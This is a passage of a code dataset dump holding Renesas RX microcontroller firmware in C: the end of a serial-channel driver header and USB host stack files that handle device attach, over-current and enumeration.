&ICU.IR[IR_SCI11_TEI11].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI11_ERI11].BYTE,\n #endif\n &ICU.IER[IER_SCI11_RXI11].BYTE,\n &ICU.IER[IER_SCI11_TXI11].BYTE,\n &ICU.IER[IER_SCI11_TEI11].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch11_ctrl = {&ch11_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n#if SCI_CFG_CH12_INCLUDED\n/* queue buffers */\nuint8_t ch12_tx_buf[SCI_CFG_CH12_TX_BUFSIZ];\nuint8_t ch12_rx_buf[SCI_CFG_CH12_RX_BUFSIZ];\n/* rom info */\nconst sci_ch_rom_t ch12_rom = {(volatile __evenaccess struct st_sci12 *)&SCI12,\n &SYSTEM.MSTPCRB.LONG, BIT4_MASK,\n &ICU.IPR[IPR_SCI12_RXI12].BYTE,\n &ICU.IR[IR_SCI12_RXI12].BYTE,\n &ICU.IR[IR_SCI12_TXI12].BYTE,\n &ICU.IR[IR_SCI12_TEI12].BYTE,\n #ifndef BSP_MCU_RX63_ALL\n &ICU.IR[IR_SCI12_ERI12].BYTE,\n #endif\n &ICU.IER[IER_SCI12_RXI12].BYTE,\n &ICU.IER[IER_SCI12_TXI12].BYTE,\n &ICU.IER[IER_SCI12_TEI12].BYTE,\n #if defined(BSP_MCU_RX63_ALL)\n BIT2_MASK, BIT3_MASK, BIT4_MASK\n #elif defined(BSP_MCU_RX11_ALL) || defined(BSP_MCU_RX21_ALL)\n &ICU.IER[IER_SCI12_ERI12].BYTE,\n BIT6_MASK, BIT7_MASK, BIT0_MASK, BIT1_MASK\n #endif\n };\n/* channel control block */\nsci_ch_ctrl_t ch12_ctrl = {&ch12_rom, SCI_MODE_OFF,\n 0, true, NULL, NULL, NULL};\n#endif\n\n\n/* SCI HANDLE-ARRAY DECLARATION */\n\nstatic const sci_hdl_t g_handles[SCI_NUM_CH] =\n{\n#if SCI_CFG_CH0_INCLUDED\n &ch0_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH1_INCLUDED\n &ch1_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH2_INCLUDED\n &ch2_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH3_INCLUDED\n &ch3_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH4_INCLUDED\n &ch4_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH5_INCLUDED\n &ch5_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH6_INCLUDED\n &ch6_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH7_INCLUDED\n &ch7_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH8_INCLUDED\n &ch8_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH9_INCLUDED\n &ch9_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH10_INCLUDED\n &ch10_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH11_INCLUDED\n &ch11_ctrl,\n#else\n NULL,\n#endif\n#if SCI_CFG_CH12_INCLUDED\n &ch12_ctrl\n#else\n NULL\n#endif\n};\n\n\n#endif /* SCI_ASYNC_PRIVATE_H */\n\n" }, { "alpha_fraction": 0.38811159133911133, "alphanum_fraction": 0.4015685021877289, "avg_line_length": 46.34599304199219, "blob_id": "708aa3f286eece0921f18953686e297d92196ad8", "content_id": "a9a2d8b07867229cdc7cc115ae7bb19cf662917d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 11221, "license_type": "no_license", "max_line_length": 120, "num_lines": 237, "path": "/r_usb_basic/src/driver/host/r_usb_hstdfunction.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hstdfunction.c\n* Description : USB Host standard request related functions.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern void (*usb_ghstd_EnumarationProcess[8])(USB_UTR_t *,uint16_t, uint16_t); \n/* Enumeration Table */\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n/******************************************************************************\nRenesas Abstracted Host Standard functions\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_Bchg0Function\nDescription : Execute the process appropriate to the status of the connected \n : USB device when a BCHG interrupt occurred.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_Bchg0Function(USB_UTR_t *ptr)\n{\n uint16_t buf, connect_inf;\n\n /* SUSPENDED check */\n if( usb_ghstd_RemortPort[USB_PORT0] == USB_SUSPENDED )\n {\n /* Device State Control Register - Resume enable check */\n buf = usb_creg_read_dvstctr( ptr, USB_PORT0 );\n\n if( (uint16_t)(buf & USB_RESUME) == USB_RESUME )\n {\n USB_PRINTF0(\"remote wakeup port0\\n\");\n usb_ghstd_RemortPort[USB_PORT0] = USB_DEFAULT;\n /* Change device state to resume */\n usb_hstd_DeviceResume(ptr, (uint16_t)(USB_PORT0 + USB_DEVICEADDR));\n }\n else\n {\n /* Decide USB Line state (ATTACH) */\n connect_inf = usb_hstd_ChkAttach(ptr, (uint16_t)USB_PORT0);\n if( connect_inf == USB_DETACH )\n {\n usb_ghstd_RemortPort[USB_PORT0] = USB_DEFAULT;\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT0);\n }\n else\n {\n /* Enable port BCHG interrupt */\n usb_hstd_BchgEnable(ptr, (uint16_t)USB_PORT0);\n /* Check clock */\n usb_hstd_ChkClk(ptr, (uint16_t)USB_PORT0, (uint16_t)USB_SUSPENDED);\n }\n }\n }\n else\n {\n /* USB detach process */\n usb_hstd_DetachProcess(ptr, (uint16_t)USB_PORT0);\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_Bchg0Function\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_LsConnectFunction\nDescription : Low-speed device connect.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_LsConnectFunction(USB_UTR_t *ptr)\n{\n (*usb_ghstd_EnumarationProcess[0])(ptr, (uint16_t)USB_DEVICE_0, (uint16_t)0);\n}\n/******************************************************************************\nEnd of function usb_hstd_LsConnectFunction\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_AttachFunction\nDescription : Device attach.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_AttachFunction(void)\n{\n /* 100ms wait */\n usb_cpu_DelayXms((uint16_t)100);\n}\n/******************************************************************************\nEnd of function usb_hstd_AttachFunction\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_Ovrcr0Function\nDescription : Set USB registers as required due to an OVRCR (over-current)\n : interrupt, and notify the MGR (manager) task about this.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_Ovrcr0Function(USB_UTR_t *ptr)\n{\n /* Over-current bit check */\n USB_PRINTF0(\" OVCR int port0\\n\");\n /* OVRCR interrupt disable */\n /* Notification over current */\n usb_hstd_OvcrNotifiation(ptr, (uint16_t)USB_PORT0);\n}\n/******************************************************************************\nEnd of function usb_hstd_Ovrcr0Function\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumFunction1\nDescription : Device enumeration function nr 1.\nArguments : none\nReturn value : uint16_t : USB_DONE\n******************************************************************************/\nuint16_t usb_hstd_EnumFunction1(void)\n{\n return USB_DONE;\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumFunction1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumFunction2\nDescription : Device enumeration function nr 2.\nArguments : uint16_t *enummode : Enumeration mode.\nReturn value : uint16_t : USB_YES\n******************************************************************************/\nuint16_t usb_hstd_EnumFunction2(uint16_t* enummode)\n{\n return USB_YES;\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumFunction2\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumFunction3\nDescription : Device enumeration function nr 3.\nArguments : uint16_t devaddr : Device address\n : uint16_t enum_seq : \nReturn value : none\n******************************************************************************/\nvoid usb_hstd_EnumFunction3(USB_UTR_t *ptr, uint16_t devaddr, uint16_t enum_seq)\n{\n (*usb_ghstd_EnumarationProcess[5])(ptr, devaddr, enum_seq);\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumFunction3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumFunction4\nDescription : Device enumeration function nr 4.\nArguments : uint16_t *reqnum : Request number.\n : uint16_t *enummode : \n : uint16_t devaddr : Device address.\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_EnumFunction4(uint16_t* reqnum, uint16_t* enummode, uint16_t devaddr)\n{\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumFunction4\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumFunction5\nDescription : Device enumeration function nr 5.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_EnumFunction5(void)\n{\n USB_PRINTF0(\" Get_DeviceDescrip(8-2)\\n\");\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumFunction5\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.453930526971817, "alphanum_fraction": 0.46911293268203735, "avg_line_length": 42.075523376464844, "blob_id": "a60351b309423a4da2367f9da07313eb5b5b9527", "content_id": "e764a079bb7cc132ca5485cd9f03a4c9e8777660", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 80422, "license_type": "no_license", "max_line_length": 121, "num_lines": 1867, "path": "/r_usb_basic/src/driver/host/r_usb_hmanager.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hmanager.c\n* Description : USB Host Control Manager\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_api.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define CLSDATASIZE 512\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* Manager */\nuint16_t usb_ghstd_EnumSeq[USB_NUM_USBIP]; /* Enumeration request */\nuint16_t usb_ghstd_DeviceDescriptor[USB_NUM_USBIP][USB_DEVICESIZE / 2u];\nuint16_t usb_ghstd_ConfigurationDescriptor[USB_NUM_USBIP][USB_CONFIGSIZE / 2u];\nuint16_t usb_ghstd_SuspendPipe[USB_NUM_USBIP][USB_MAX_PIPE_NO + 1u];\n\nuint16_t usb_ghstd_CheckEnuResult[USB_NUM_USBIP];\nuint8_t usb_ghstd_EnuWait[USB_NUM_USBIP + USB_NUM_USBIP%2u];\n\nvoid usb_hstd_MgrRelMpl(USB_UTR_t *ptr,uint16_t n);\n\n/******************************************************************************\nStatic variables and functions\n******************************************************************************/\nuint16_t usb_shstd_StdRequest[USB_NUM_USBIP][5];\nstatic uint16_t usb_shstd_DummyData;\nUSB_UTR_t usb_shstd_StdReqMsg[USB_NUM_USBIP];\n /* Condition compilation by the difference of the operating system */\nstatic uint16_t usb_shstd_RegPointer[USB_NUM_USBIP];\nstatic USB_MGRINFO_t *usb_shstd_MgrMsg[USB_NUM_USBIP];\nstatic uint16_t usb_shstd_mgr_msginfo[USB_NUM_USBIP] = {0,0};\nstatic USB_CB_t usb_shstd_mgr_callback[USB_NUM_USBIP];\nstatic uint16_t usb_shstd_SuspendSeq[USB_NUM_USBIP] = {0,0};\nstatic uint16_t usb_shstd_ResumeSeq[USB_NUM_USBIP] = {0,0};\nstatic void usb_hstd_SuspCont(USB_UTR_t *ptr, uint16_t devaddr, uint16_t rootport);\nstatic void usb_hstd_ResuCont(USB_UTR_t *ptr, uint16_t devaddr, uint16_t rootport);\n\nstatic uint16_t usb_hstd_ChkDeviceClass(USB_UTR_t *ptr, USB_HCDREG_t *driver, uint16_t port);\nstatic void usb_hstd_EnumerationErr(uint16_t Rnum);\n uint16_t usb_hstd_SetFeature(USB_UTR_t *ptr, uint16_t addr, uint16_t epnum, USB_CB_t completeC);\n uint16_t usb_hstd_GetConfigDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t length, USB_CB_t complete);\n uint16_t usb_hstd_GetStringDesc(USB_UTR_t *ptr, uint16_t addr, uint16_t string, USB_CB_t complete);\n uint16_t usb_hstd_StdReqCheck(uint16_t errcheck);\nstatic uint16_t usb_hstd_CmdSubmit(USB_UTR_t *ptr, USB_CB_t complete);\nstatic uint16_t usb_hstd_ChkRemote(USB_UTR_t *ptr);\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n/* Enumeration Table */\nvoid (*usb_ghstd_EnumarationProcess[8])(USB_UTR_t *, uint16_t, uint16_t) =\n{\n usb_hstd_EnumGetDescriptor, usb_hstd_EnumSetAddress,\n usb_hstd_EnumGetDescriptor, usb_hstd_EnumGetDescriptor,\n usb_hstd_EnumGetDescriptor, usb_hstd_EnumGetDescriptor,\n usb_hstd_EnumSetConfiguration, usb_hstd_EnumDummyRequest,\n};\n\nuint8_t usb_ghstd_ClassData[USB_NUM_USBIP][CLSDATASIZE];\nUSB_UTR_t usb_ghstd_ClassControl[USB_NUM_USBIP];\nuint16_t usb_ghstd_ClassRequest[USB_NUM_USBIP][5];\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nextern uint16_t usb_hstd_ChkRemote(USB_UTR_t *ptr);\nextern void (*usb_ghstd_EnumarationProcess[8])(USB_UTR_t *,uint16_t, uint16_t); /* Enumeration Table */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_MgrRelMpl\nDescription : Release a memory block.\nArgument : uint16_t n : Error no.\nReturn : none\n******************************************************************************/\nvoid usb_hstd_MgrRelMpl(USB_UTR_t *ptr,uint16_t n)\n{\n USB_ER_t err;\n\n err = USB_REL_BLK(USB_MGR_MPL, (USB_MH_t)usb_shstd_MgrMsg[ptr->ip]);\n if( err != USB_E_OK )\n {\n USB_PRINTF1(\"### USB MGR rel_blk error: %d\\n\", n);\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_MgrRelMpl\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_mgr_chgdevst_cb\nDescription : Call the callback function specified by the argument given to\n : the API R_usb_hstd_ChangeDeviceState.\nArgument : uint16_t rootport : Port no.\nReturn : none\n******************************************************************************/\nstatic void usb_hstd_mgr_chgdevst_cb(USB_UTR_t *ptr, uint16_t rootport)\n{\n if( usb_shstd_mgr_msginfo[ptr->ip] != 0 )\n {\n (*usb_shstd_mgr_callback[ptr->ip])(ptr, rootport, usb_shstd_mgr_msginfo[ptr->ip]);\n usb_shstd_mgr_msginfo[ptr->ip] = 0;\n }\n}\n\n/******************************************************************************\nEnd of function usb_hstd_mgr_chgdevst_cb\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_Enumeration\nDescription : Execute enumeration on the connected USB device.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn : uint16_t : Enumeration status.\n******************************************************************************/\nuint16_t usb_hstd_Enumeration(USB_UTR_t *ptr)\n{\n#ifdef USB_HOST_COMPLIANCE_MODE\n uint16_t vendor_id;\n uint16_t product_id;\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n uint16_t md, flg;\n USB_HCDREG_t *driver;\n uint16_t enume_mode; /* Enumeration mode (device state) */\n uint8_t *descriptor_table;\n uint16_t rootport, pipenum, devsel;\n\n /* Attach Detect Mode */\n enume_mode = USB_NONDEVICE;\n\n pipenum = usb_shstd_MgrMsg[ptr->ip]->keyword;\n /* Agreement device address */\n devsel = usb_cstd_GetDevsel(ptr, pipenum);\n /* Get root port number from device addr */\n rootport = usb_hstd_GetRootport(ptr, devsel);\n\n /* Manager Mode Change */\n switch( usb_shstd_MgrMsg[ptr->ip]->result )\n {\n case USB_CTRL_END:\n enume_mode = USB_DEVICEENUMERATION;\n switch( usb_ghstd_EnumSeq[ptr->ip] )\n {\n /* Receive Device Descriptor */\n case 0:\n break;\n /* Set Address */\n case 1:\n descriptor_table = (uint8_t*)usb_ghstd_DeviceDescriptor[ptr->ip];\n devsel = (uint16_t)(usb_ghstd_DeviceAddr[ptr->ip] << USB_DEVADDRBIT);\n /* Set device speed */\n usb_hstd_SetDevAddr(ptr, devsel, usb_ghstd_DeviceSpeed[ptr->ip], rootport);\n usb_ghstd_DcpRegister[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]] \n = (uint16_t)((uint16_t)(descriptor_table[7] & USB_MAXPFIELD) | devsel);\n break;\n /* Receive Device Descriptor(18) */\n case 2:\n break;\n /* Receive Configuration Descriptor(9) */\n case 3:\n break;\n /* Receive Configuration Descriptor(xx) */\n case 4:\n#ifdef USB_HOST_COMPLIANCE_MODE\n descriptor_table = (uint8_t*)usb_ghstd_DeviceDescriptor[ptr->ip];\n /* If 'vendor_id' and 'product_id' value is defined by PET, */\n /* system works for compliance test mode. */\n /* Values ??defined by PET is the following. */\n /* vendor_id : 0x1A0A */\n /* product_id : 0x0101 - 0x0108 , 0x0200 */\n\n vendor_id = (uint16_t)(descriptor_table[USB_DEV_ID_VENDOR_L]\n + ((uint16_t)descriptor_table[USB_DEV_ID_VENDOR_H] << 8));\n\n if(vendor_id == 0x1A0A)\n {\n product_id = (uint16_t)(descriptor_table[USB_DEV_ID_PRODUCT_L]\n + ((uint16_t)descriptor_table[USB_DEV_ID_PRODUCT_H] << 8));\n\n descriptor_table = (uint8_t*)usb_ghstd_ConfigurationDescriptor[ptr->ip];\n#ifdef USB_HS_EL_TEST\n if((product_id >= 0x0101) && (product_id <= 0x0108))\n {\n usb_hstd_ElectricalTestMode(ptr, product_id, rootport);\n enume_mode = USB_NOTTPL;\n break;\n }\n#endif /* USB_HS_EL_TEST */\n if(product_id == 0x0200)\n {\n usb_ghstd_EnumSeq[ptr->ip]++;\n break;\n }\n }\n#endif /* USB_HOST_COMPLIANCE_MODE */\n\n\n /* Device enumeration function */\n switch( usb_hstd_EnumFunction1() )\n {\n /* Driver open */\n case USB_DONE:\n for( flg = 0u, md = 0; (md < usb_ghstd_DeviceNum[ptr->ip]) && (flg == 0u); md++ ) \n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( driver->devstate == USB_DETACHED ) \n {\n uint16_t retval;\n retval = usb_hstd_ChkDeviceClass(ptr, driver, rootport);\n usb_ghstd_CheckEnuResult[ptr->ip] = USB_DONE;\n /* In this function, check device class of */\n /* enumeration flow move to class */\n /* \"R_usb_hstd_ReturnEnuMGR()\" is used to return */\n if( retval == USB_DONE )\n {\n usb_shstd_RegPointer[ptr->ip] = md;\n flg = 1; /* break; */\n }\n }\n }\n if( flg != 1 )\n {\n#ifdef USB_HOST_COMPLIANCE_MODE\n usb_ghstd_EnumSeq[ptr->ip] = usb_ghstd_EnumSeq[ptr->ip] + 2;\n#else /* USB_HOST_COMPLIANCE_MODE */\n usb_ghstd_EnumSeq[ptr->ip]++;\n#endif /* USB_HOST_COMPLIANCE_MODE */\n }\n break;\n /* OTG CV test */\n case USB_OTG_DONE:\n for( flg = 0u, md = 0u; (md < usb_ghstd_DeviceNum[ptr->ip]) && (flg == 0); md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( driver->devstate == USB_DETACHED )\n {\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][0] = rootport; /* root port */\n driver->rootport = rootport;\n driver->devaddr = usb_ghstd_DeviceAddr[ptr->ip];\n flg = 1; /* break; */\n }\n }\n break;\n /* Descriptor error */\n case USB_ERROR:\n USB_PRINTF0(\"### Enumeration is stoped(ClassCode-ERROR)\\n\");\n /* Attach Detect Mode */\n enume_mode = USB_NOTTPL;\n break;\n default:\n /* Attach Detect Mode */\n enume_mode = USB_NONDEVICE;\n break;\n }\n break;\n /* Class Check Result */\n case 5:\n switch(usb_ghstd_CheckEnuResult[ptr->ip])\n {\n case USB_DONE:\n driver = &usb_ghstd_DeviceDrv[ptr->ip][usb_shstd_RegPointer[ptr->ip]];\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][0] = rootport; /* Root port */\n driver->rootport = rootport;\n driver->devaddr = usb_ghstd_DeviceAddr[ptr->ip];\n break;\n case USB_ERROR:\n enume_mode = USB_NOTTPL;\n break;\n default:\n enume_mode = USB_NONDEVICE;\n break;\n }\n break;\n /* Set Configuration */\n case 6:\n /* Device enumeration function */\n if( usb_hstd_EnumFunction2(&enume_mode) == USB_YES )\n {\n USB_PRINTF0(\" Configured Device\\n\");\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( usb_ghstd_DeviceAddr[ptr->ip] == driver->devaddr )\n {\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][1] = USB_CONFIGURED;\n /* Device speed */\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][4] = usb_ghstd_DeviceSpeed[ptr->ip];\n /* Device state */\n driver->devstate = USB_CONFIGURED;\n (*driver->devconfig)(ptr, usb_ghstd_DeviceAddr[ptr->ip], (uint16_t)USB_NO_ARG); /* Call Back */\n return (USB_COMPLETEPIPESET);\n }\n }\n enume_mode = USB_COMPLETEPIPESET;\n }\n break;\n\n default:\n break;\n }\n usb_ghstd_EnumSeq[ptr->ip]++;\n /* Device Enumeration */\n if( enume_mode == USB_DEVICEENUMERATION )\n {\n switch( usb_ghstd_EnumSeq[ptr->ip] )\n {\n case 1:\n (*usb_ghstd_EnumarationProcess[1])(ptr, (uint16_t)USB_DEVICE_0, usb_ghstd_DeviceAddr[ptr->ip]);\n break;\n case 5:\n break;\n case 6:\n descriptor_table = (uint8_t*)usb_ghstd_ConfigurationDescriptor[ptr->ip];\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][usb_ghstd_DeviceAddr[ptr->ip]][2] = descriptor_table[5];\n (*usb_ghstd_EnumarationProcess[6])(ptr, usb_ghstd_DeviceAddr[ptr->ip], (uint16_t)(descriptor_table[5]));\n break;\n#ifdef USB_HOST_COMPLIANCE_MODE\n case 7:\n enume_mode = USB_NOTTPL;\n break;\n#endif /* USB_HOST_COMPLIANCE_MODE */\n default:\n (*usb_ghstd_EnumarationProcess[usb_ghstd_EnumSeq[ptr->ip]])(ptr, \n usb_ghstd_DeviceAddr[ptr->ip], usb_ghstd_EnumSeq[ptr->ip]);\n break;\n }\n }\n break;\n case USB_DATA_ERR:\n USB_PRINTF0(\"### Enumeration is stoped(SETUP or DATA-ERROR)\\n\");\n usb_hstd_EnumerationErr(usb_ghstd_EnumSeq[ptr->ip]);\n break;\n case USB_DATA_OVR:\n USB_PRINTF0(\"### Enumeration is stoped(receive data over)\\n\");\n usb_hstd_EnumerationErr(usb_ghstd_EnumSeq[ptr->ip]);\n break;\n case USB_DATA_STALL:\n USB_PRINTF0(\"### Enumeration is stoped(SETUP or DATA-STALL)\\n\");\n usb_hstd_EnumerationErr(usb_ghstd_EnumSeq[ptr->ip]);\n /* Device enumeration function */\n usb_hstd_EnumFunction4(&usb_ghstd_EnumSeq[ptr->ip], &enume_mode, usb_ghstd_DeviceAddr[ptr->ip]);\n break;\n default:\n USB_PRINTF0(\"### Enumeration is stoped(result error)\\n\");\n usb_hstd_EnumerationErr(usb_ghstd_EnumSeq[ptr->ip]);\n break;\n }\n return (enume_mode);\n}\n/******************************************************************************\nEnd of function usb_hstd_Enumeration\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_EnumerationErr\nDescription : Output error information when enumeration error occurred.\nArgument : uint16_t Rnum : enumeration sequence\nReturn : none\n******************************************************************************/\nvoid usb_hstd_EnumerationErr(uint16_t Rnum)\n{\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n switch( Rnum ) \n {\n case 0: USB_PRINTF0(\" Get_DeviceDescrip(8)\\n\"); break;\n case 1: USB_PRINTF0(\" Set_Address\\n\"); break;\n case 2: USB_PRINTF0(\" Get_DeviceDescrip(18)\\n\"); break;\n case 3: USB_PRINTF0(\" Get_ConfigDescrip(9)\\n\"); break;\n case 4: USB_PRINTF0(\" Get_ConfigDescrip(xx)\\n\"); break;\n /* Device enumeration function */\n case 5: usb_hstd_EnumFunction5(); break;\n case 6: USB_PRINTF0(\" Set_Configuration\\n\"); break;\n default: break;\n }\n#endif /* USB_DEBUGPRINT_PP */\n}\n/******************************************************************************\nEnd of function usb_hstd_EnumerationErr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkDeviceClass\nDescription : Interface class search\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : USB_HCDREG_t *driver : Class driver\n : uint16_t port : Port no.\nReturn : uint16_t : USB_DONE / USB_ERROR\n******************************************************************************/\nuint16_t usb_hstd_ChkDeviceClass(USB_UTR_t *ptr, USB_HCDREG_t *driver, uint16_t port)\n{\n uint8_t *descriptor_table;\n uint16_t total_length1;\n uint16_t total_length2;\n uint16_t result;\n uint16_t hub_device;\n uint16_t *table[9];\n uint16_t tmp4;\n uint16_t tmp5;\n uint16_t tmp6;\n#ifdef USB_HOST_COMPLIANCE_MODE\n uint16_t vendor_id;\n uint16_t product_id;\n uint16_t id_check;\n uint16_t i;\n#endif /* 